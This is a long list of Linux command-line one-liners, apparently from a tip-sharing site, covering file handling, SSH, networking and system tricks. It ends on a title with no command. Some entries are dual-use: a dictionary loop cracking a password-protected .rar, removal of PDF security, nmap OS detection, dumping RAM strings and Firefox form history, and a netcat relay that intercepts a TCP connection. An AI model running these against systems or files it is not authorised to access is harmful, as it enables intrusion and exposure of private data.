Linux Commands 1

# Run the last command as root
sudo !!
# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
# Save a file you edited in vim without the needed permissions
:w !sudo tee %
# change to the previous working directory
cd -
# Runs previous command but replacing
^foo^bar
# mtr, better than traceroute and ping combined
mtr google.com
# quickly backup or copy a file with bash
cp filename{,.bak}
# Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e
# Copy ssh keys to user@host to enable password-less ssh logins.
$ssh-copy-id user@host
# Empty a file
> file.txt
# Execute a command without saving it in the history
<space>command
# Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
# Salvage a borked terminal
reset
# start a tunnel from some machine's port 80 to your local post 2001
ssh -N -L2001:localhost:80 somemachine
# Execute a command at a given time
echo "ls -l" | at midnight
# Query Wikipedia via console over DNS
dig +short txt <keyword>.wp.dg.cx
# currently mounted filesystems in nice layout
mount | column -t
# Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
# Place the argument of the most recent command on the shell
'ALT+.' or '<ESC> .'
# output your microphone to a remote computer's speaker
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
# Lists all listening ports together with the PID of the associated process
netstat -tlnp
# Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m
# Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point
# Runs previous command replacing foo by bar every time that foo appears
!!:gs/foo/bar
# Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -
# Quick access to the ascii table.
man ascii
# Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
# Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password
# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1
# Get your external IP address
curl ifconfig.me
# A very simple and useful stopwatch
time read (ctrl-d to stop)
# Clear the terminal screen
ctrl-l
# Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)
# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
# SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host
# Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail
# Reboot machine when everything is hanging
<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>
# Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10
# Watch Star Wars via telnet
telnet towel.blinkenlights.nl
# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head
# Set audible alarm when an IP address comes online
ping -i 60 -a IP_address
# Make 'less' behave like 'tail -f'.
less +F somelogfile
# diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)
# type partial command, kill this command, check something you forgot, yank the command, resume typing.
<ctrl+u> [...] <ctrl+y>
# Close shell keeping all subprocess running
disown -a && exit
# Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt
# Watch Network Service Activity in Real-time
lsof -i
# Backticks are evil
echo "The date is: $(date +%D)"
# Sharing file through http 80 port
nc -v -l 80 < file.ext
# Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"
# Push your present working directory to a stack that you can pop later
pushd /tmp
# python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025
# Create a script of the last executed command
echo "!!" > foo.sh
# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>
# Set CDPATH to ease navigation
CDPATH=:..:~:~/projects
# 32 bits or 64 bits?
getconf LONG_BIT
# Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings
# Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -
# Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n
# Kills a process that is locking a file.
fuser -k filename
# Stream YouTube URL directly to mplayer.
i="8uyxVmdaJ-w";mplayer -fs $(curl -s "http://www.youtube.com/get_video_info?&video_id=$i" | echo -e $(sed 's/%/\\x/g;s/.*\(v[0-9]\.lscache.*\)/http:\/\/\1/g') | grep -oP '^[^|,]*')
# Display which distro is installed
cat /etc/issue
# Put a console clock in top right corner
while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done &
# Reuse all parameter of the previous command line
!*
# Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)
# Inserts the results of an autocompletion in the command line
ESC *
# save command output to image
ifconfig | convert label:@- ip.png
# Remove duplicate entries in a file without sorting.
awk '!x[$0]++' <file>
# Add Password Protection to a file your editing in vim.
vim -x <FILENAME>
# Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname
# Easily search running processes (alias).
alias 'ps?'='ps ax | grep '
# Insert the last command without the last argument (bash)
!:-
# Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso
# Easy and fast access to often executed commands that are very long and complex.
some_very_long_and_complex_command # label
# Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name
# Job Control
^Z $bg $disown
# Graphical tree of sub-directories
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'
# quickly rename a file
mv filename.{old,new}
# intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID
# Graph # of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'
# escape any command aliases
\[command]
# Monitor progress of a command
pv access.log | gzip > access.log.gz
# Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"
# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile
# Define a quick calculator function
? () { echo "$*" | bc -l; }
# Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop
# Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail
# Remove all but one specific file
rm -f !(survivior.txt)
# Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"
# Send pop-up notifications on Gnome
notify-send ["<title>"] "<body>"
# Convert seconds to human-readable format
date -d@1234567890
# Generate a random password 30 characters long
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo
# Print all the lines between 10 and 20 of a file
sed -n '10,20p' <filename>
# Show apps that use internet connection at the moment. (Multi-Language)
ss -p
# Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg
# Processor / memory bandwidthd? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768
# Open Finder from the current Terminal location
open .
# Make directory including intermediate directories
mkdir -p a/long/directory/path
# Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch
# Show File System Hierarchy
man hier
# Copy a file using pv and watch its progress
pv sourcefile > destfile
# Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf
# directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB
# Share a terminal screen with others
% screen -r someuser/
# Create a persistent connection to a machine
ssh -MNf <user>@<host>
# Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist
# Multiple variable assignments from command output in BASH
read day month year <<< $(date +'%d %m %y')
# Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'
# return external ip
curl icanhazip.com
# Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done
# Attach screen over ssh
ssh -t remote_host screen -r
# Create a pdf version of a manpage
man -t manpage | ps2pdf - filename.pdf
# Remove a line in a text file. Useful to fix
ssh-keygen -R <the_offending_host>
# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }
# Download Youtube video with wget!
wget http://www.youtube.com/watch?v=dQw4w9WgXcQ -qO- | sed -n "/fmt_url_map/{s/[\'\"\|]/\n/g;p}" | sed -n '/^fmt_url_map/,/videoplayback/p' | sed -e :a -e '$q;N;5,$D;ba' | tr -d '\n' | sed -e 's/\(.*\),\(.\)\{1,3\}/\1/' | wget -i - -O surprise.flv
# RTFM function
rtfm() { help $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# What is my public IP-address?
curl ifconfig.me
# Run a file system check on your next boot.
sudo touch /forcefsck
# To print a specific line from a file
sed -n 5p <file>
# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate
# Bring the word under the cursor on the :ex line in Vim
:<C-R><C-W>
# Port Knocking!
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000
# Show a 4-way scrollable process tree with full details.
ps awwfux | less -S
# replace spaces in filenames with underscores
rename 'y/ /_/' *
# (Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls
# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'
# Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'
# Download all images from a site
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images
# Broadcast your shell thru ports 5000, 5001, 5002 ...
script -qf | tee >(nc -kl 5000) >(nc -kl 5001) >(nc -kl 5002)
# ls not pattern
ls !(*.gz)
# Edit a google doc with vim
google docs edit --title "To-Do List" --editor vim
# Show numerical values for each of the 256 colors in bash
for code in {0..255}; do echo -e "\e[38;05;${code}m $code: Test"; done
# Makes the permissions of file2 the same as file1
chmod --reference file1 file2
# A robust, modular log coloriser
ccze
# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | xargs rm -r
# which program is this port belongs to ?
lsof -i tcp:80
# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"
# check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout
# Remove a line in a text file. Useful to fix "ssh host key change" warnings
sed -i 8d ~/.ssh/known_hosts
# List only the directories
ls -d */
# exit without saving history
kill -9 $$
# Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)
# Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2
# Remind yourself to leave in 15 minutes
leave +15
# Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done
# using `!#$' to reference backward-word
cp /work/host/phone/ui/main.cpp !#$:s/host/target
# Fast, built-in pipe-based data sink
<COMMAND> |:
# Use tee to process a pipe with two or more processes
echo "tee can split a pipe in two"|tee >(rev) >(tr ' ' '_')
# Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/
# Colorized grep in less
grep --color=always | less -R
# Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox
# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;
# Exclude multiple columns using AWK
awk '{$1=$3=""}1' file
# Synchronize date and time with a server over ssh
date --set="$(ssh user@server date)"
# Control ssh connection
[enter]~?
# Get the IP of the host your coming from when logged in remotely
echo ${SSH_CLIENT%% *}
# Take screenshot through SSH
DISPLAY=:0.0 import -window root /tmp/shot.png
# run complex remote shell cmds over ssh, without escaping quotes
ssh host -l user $(<cmd.txt)
# prints line numbers
nl
# Press Any Key to Continue
read -sn 1 -p "Press any key to continue..."
# Show apps that use internet connection at the moment.
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2
# Release memory used by the Linux kernel on caches
free && sync && echo 3 > /proc/sys/vm/drop_caches && free
# Create a nifty overview of the hardware in your computer
lshw -html > hardware.html
# Add timestamp to history
export HISTTIMEFORMAT="%F %T "
# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'
# read manpage of a unix command as pdf in preview (Os X)
man -t UNIX_COMMAND | open -f -a preview
# How to establish a remote Gnu screen session that you can re-connect to
ssh -t [email protected] /usr/bin/screen -xRR
# Copy a MySQL Database to a new Server via SSH with one command
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"
# make directory tree
mkdir -p work/{d1,d2}/{src,bin,bak}
# Create a quick back-up copy of a file
cp file.txt{,.bak}
# Find out how much data is waiting to be written to disk
grep ^Dirty /proc/meminfo
# mkdir & cd into it as single command
mkdir /home/foo/doc/bar && cd $_
# Use file(1) to view device information
file -s /dev/sd*
# Bind a key with a command
bind -x '"\C-l":ls -l'
# Opens vi/vim at pattern in file
vi +/pattern [file]
# Colorful man
apt-get install most && update-alternatives --set pager /usr/bin/most
# live ssh network throughput test
yes | pv | ssh $host "cat > /dev/null"
# Pipe stdout and stderr, etc., to separate commands
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)
# Remove blank lines from a file using grep and save output to new file
grep . filename > newfilename
# Go to parent directory of filename edited in last command
cd !$:h
# Draw a Sierpinski triangle
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display
# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} \;
# recursive search and replace old with new string, inside files
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'
# shut of the screen.
xset dpms force standby
# Save your sessions in vim to resume later
:mksession! <filename>
# Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo
# Display a list of committers sorted by the frequency of commits
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr
# Prettify an XML file
tidy -xml -i -m [file]
# List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c
# Google text-to-speech in mp3 format
wget -q -U Mozilla -O output.mp3 "http://translate.google.com/translate_tts?ie=UTF-8&tl=en&q=hello+world
# Bind a key with a command
bind '"\C-l":"ls -l\n"'
# Alias HEAD for automatic smart output
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'
# Create colorized html file from Vim or Vimdiff
:TOhtml
# Recursively remove all empty directories
find . -type d -empty -delete
# Listen to BBC Radio from the command line.
bbcradio() { local s PS3="Select a station: ";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}
# backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}
# send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25
# Cracking a password protected .rar file
for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
# Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file
# Create a single-use TCP (or UDP) proxy
nc -l -p 2000 -c "nc example.org 3000"
# runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh
# GRUB2: set Super Mario as startup tune
echo "GRUB_INIT_TUNE=\"1000 334 1 334 1 0 1 334 1 0 1 261 1 334 1 0 1 392 2 0 4 196 2\"" | sudo tee -a /etc/default/grub > /dev/null && sudo update-grub
# A child process which survives the parent's death (for sure)
( command & )
# send a circular
wall <<< "Broadcast This"
# exclude a column with cut
cut -f5 --complement
# Random Number Between 1 And X
echo $[RANDOM%X+1]
# April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'
# copy working directory and compress it on-the-fly while showing progress
tar -cf - . | pv -s $(du -sb . | awk '{print $1}') | gzip > out.tgz
# Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc
# Create a directory and change into it at the same time
md () { mkdir -p "$@" && cd "$@"; }
# Search for a <pattern> string inside all files in the current directory
grep -RnisI <pattern> *
# convert unixtime to human-readable
date -d @1234567890
# Show current working directory of a process
pwdx pid
# Diff on two variables
diff <(echo "$a") <(echo "$b")
# Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)
# delete a line from your shell history
history -d
# Perform a branching conditional
true && { echo success;} || { echo failed; }
# Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f
# Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4
# Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
# find files in a date range
find . -type f -newermt "2010-01-01" ! -newermt "2010-06-01"
# Shell recorder with replay
script -t /tmp/mylog.out 2>/tmp/mylog.time; <do your work>; <CTRL-D>; scriptreplay /tmp/mylog.time /tmp/mylog.out
# Find usb device
diff <(lsusb) <(sleep 3s && lsusb)
# prevent accidents while using wildcards
rm *.txt <TAB> <TAB>
# The BOFH Excuse Server
telnet towel.blinkenlights.nl 666
# Recover a deleted file
grep -a -B 25 -A 100 'some string in the file' /dev/sda1 > results.txt
# Lists all listening ports together with the PID of the associated process
lsof -Pan -i tcp -i udp
# notify yourself when a long-running command which has ALREADY STARTED is finished
<ctrl+z> fg; notify_me
# easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"
# GREP a PDF file.
pdftotext [file] - | grep 'YourPattern'
# View the newest xkcd comic.
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}
# Schedule a script or command in x num hours, silently run in the background even if logged out
( ( sleep 2h; your-command your-args ) & )
# throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'
# List all files opened by a particular command
lsof -c dhcpd
# Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'
# convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *
# Instead of writing a multiline if/then/else/fi construct you can do that by one line
[[ test_condition ]] && if_true_do_this || otherwise_do_that
# Create a file server, listening in port 7000
while true; do nc -l 7000 | tar -xvf -; done
# Convert seconds into minutes and seconds
bc <<< 'obase=60;299'
# VI config to save files with +x when a shebang is found on line 1
au BufWritePost * if getline(1) =~ "^#!" | if getline(1) =~ "/bin/" | silent !chmod +x <afile> | endif | endif
# find all file larger than 500M
find / -type f -size +500M
# Diff remote webpages using wget
diff <(wget -q -O - URL1) <(wget -q -O - URL2)
# pretend to be busy in office to enjoy a cup of coffee
cat /dev/urandom | hexdump -C | grep "ca fe"
# processes per user counter
ps hax -o user | sort | uniq -c
# analyze traffic remotely over ssh w/ wireshark
ssh [email protected] 'tshark -f "port !22" -w -' | wireshark -k -i -
# perl one-liner to get the current week number
date +%V
# Monitor bandwidth by pid
nethogs -p eth0
# Recursively compare two directories and output their differences on a readable format
diff -urp /originaldirectory /modifieddirectory
# DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --
# List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null
# Nicely display permissions in octal format with filename
stat -c '%A %a %n' *
# Resume scp of a big file
rsync --partial --progress --rsh=ssh  $file_source $user@$host:$destination_file
# Base conversions with bc
echo "obase=2; 27" | bc -l
# Start a command on only one CPU core
taskset -c 0 your_command
# Switch 2 characters on a command line.
ctrl-t
# Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O <target>
# cat a bunch of small files with file indication
grep . *
# format txt as table not joining empty columns
column -tns: /etc/passwd
# Tell local Debian machine to install packages used by remote Debian machine
ssh remotehost 'dpkg --get-selections' | dpkg --set-selections && dselect install
# send a circular
echo "dear admin, please ban eribsskog" | wall
# Close a hanging ssh session
~.
# I finally found out how to use notify-send with at or cron
echo "export DISPLAY=:0; export XAUTHORITY=~/.Xauthority; notify-send test" | at now+1minute
# See udev at work
udevadm monitor
# Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com
# your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140
# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}
# Insert  the  last  argument  of  the previous command
<ESC> .
# Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc
# Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc
# Get your external IP address
curl ip.appspot.com
# Clean up poorly named TV shows.
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi
# Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file
# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo strings /dev/mem
# Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile
# Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e
# Save a HTML page, and convert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &
# Relocate a file or directory, but keep it accessible on the old location through a simlink.
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)
# Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"
# Make anything more awesome
command | figlet
# Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on
# Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/\{\} \;
# Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail
# Share your terminal session real-time
mkfifo foo; script -f foo
# Generate an XKCD #936 style 4 word password
shuf -n4 /usr/share/dict/words | tr -d '\n'
# Find all the links to a file
find -L / -samefile /path/to/file -exec ls -ld {} +
# Recover tmp flash videos (deleted immediately by the browser plugin)
for h in `find /proc/*/fd -ilname "/tmp/Flash*" 2>/dev/null`; do ln -s "$h" `readlink "$h" | cut -d' ' -f1`; done
# stderr in color
mycommand 2> >(while read line; do echo -e "\e[01;31m$line\e[0m"; done)
# Stop Flash from tracking everything you do.
for i in ~/.adobe ~/.macromedia ; do ( rm $i/ -rf ; ln -s /dev/null $i ) ; done
# Create a single PDF from multiple images with ImageMagick
convert *.jpg output.pdf
# List files with quotes around each filename
ls -Q
# List alive hosts in specific subnet
nmap -sP 192.168.1.0/24
# Delete all empty lines from a file with vim
:g/^$/d
# Makes you look busy
alias busy='my_file=$(find /usr/include -type f | sort -R | head -n 1); my_len=$(wc -l $my_file | awk "{print $1}"); let "r = $RANDOM % $my_len" 2>/dev/null; vim +$r $my_file'
# Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png
# Execute a command with a timeout
timeout 10 sleep 11
# Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done
# Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
# check open ports
lsof -Pni4 | grep LISTEN
# Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'
# Create a system overview dashboard on F12 key
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""
# coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'
# Search for commands from the command line
clfu-search <search words>
# Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")
# a short counter
yes '' | cat -n
# How to run X without any graphics hardware
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc
# Rsync remote data as root using sudo
rsync --rsync-path 'sudo rsync' username@source:/folder/ /local/
# ls -hog --> a more compact ls -l
ls -hog
# Put readline into vi mode
set -o vi
# Delete all empty lines from a file with vim
:g!/\S/d
# Get all the keyboard shortcuts in screen
^A ?
# Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip
# List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head
# Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;
# bypass any aliases and functions for the command
\foo
# All IP connected to  my host
netstat -lantp | grep ESTABLISHED |awk '{print $5}' | awk -F: '{print $1}' | sort -u
# Repoint an existing symlink to a new location
ln -nsf <TARGET> <LINK>
# df without line wrap on long FS name
df -P | column -t
# Watch RX/TX rate of an interface in kb/s
while [ /bin/true ]; do OLD=$NEW; NEW=`cat /proc/net/dev | grep eth0 | tr -s ' ' | cut -d' ' -f "3 11"`; echo $NEW $OLD | awk '{printf("\rin: % 9.2g\t\tout: % 9.2g", ($1-$3)/1024, ($2-$4)/1024)}'; sleep 1; done
# rsync instead of scp
rsync --progress --partial --rsh="ssh -p 8322" --bwlimit=100 --ipv4 [email protected]:~/file.tgz .
# Download a file and uncompress it while it downloads
wget http://URL/FILE.tar.gz -O - | tar xfz -
# Single use vnc-over-ssh connection
ssh -f -L 5900:localhost:5900 your.ssh.server "x11vnc -safer -localhost -nopw -once -display :0"; vinagre localhost:5900
# Visit wikileaks.com
echo 213.251.145.96 wikileaks.com >>/etc/hosts
# List all open ports and their owning executables
lsof -i -P | grep -i "listen"
# use the previous commands params in the current command
!!:[position]
# View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a
# Convert text to picture
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196  -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3  text.gif
# download and unpack tarball without leaving it sitting on your hard drive
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -
# Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://[email protected]//etc/snmp/snmpd.conf scp://[email protected]//etc/snmp/snmpd.conf
# Pretty Print a simple csv in the command line
column -s, -t <tmp.csv
# git remove files which have been deleted
git add -u
# redirect stdout and stderr each to separate files and print both to the screen
(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog
# Terminal - Show directories in the PATH, one per line with sed and bash3.X `he
re string'tr : '\n' <<<$PATH
# use vim to get colorful diff output
svn diff | view -
# Find Duplicate Files (based on MD5 hash)
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-
# Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}
# When feeling down, this command helps
sl
# Transfer SSH public key to another machine in one step
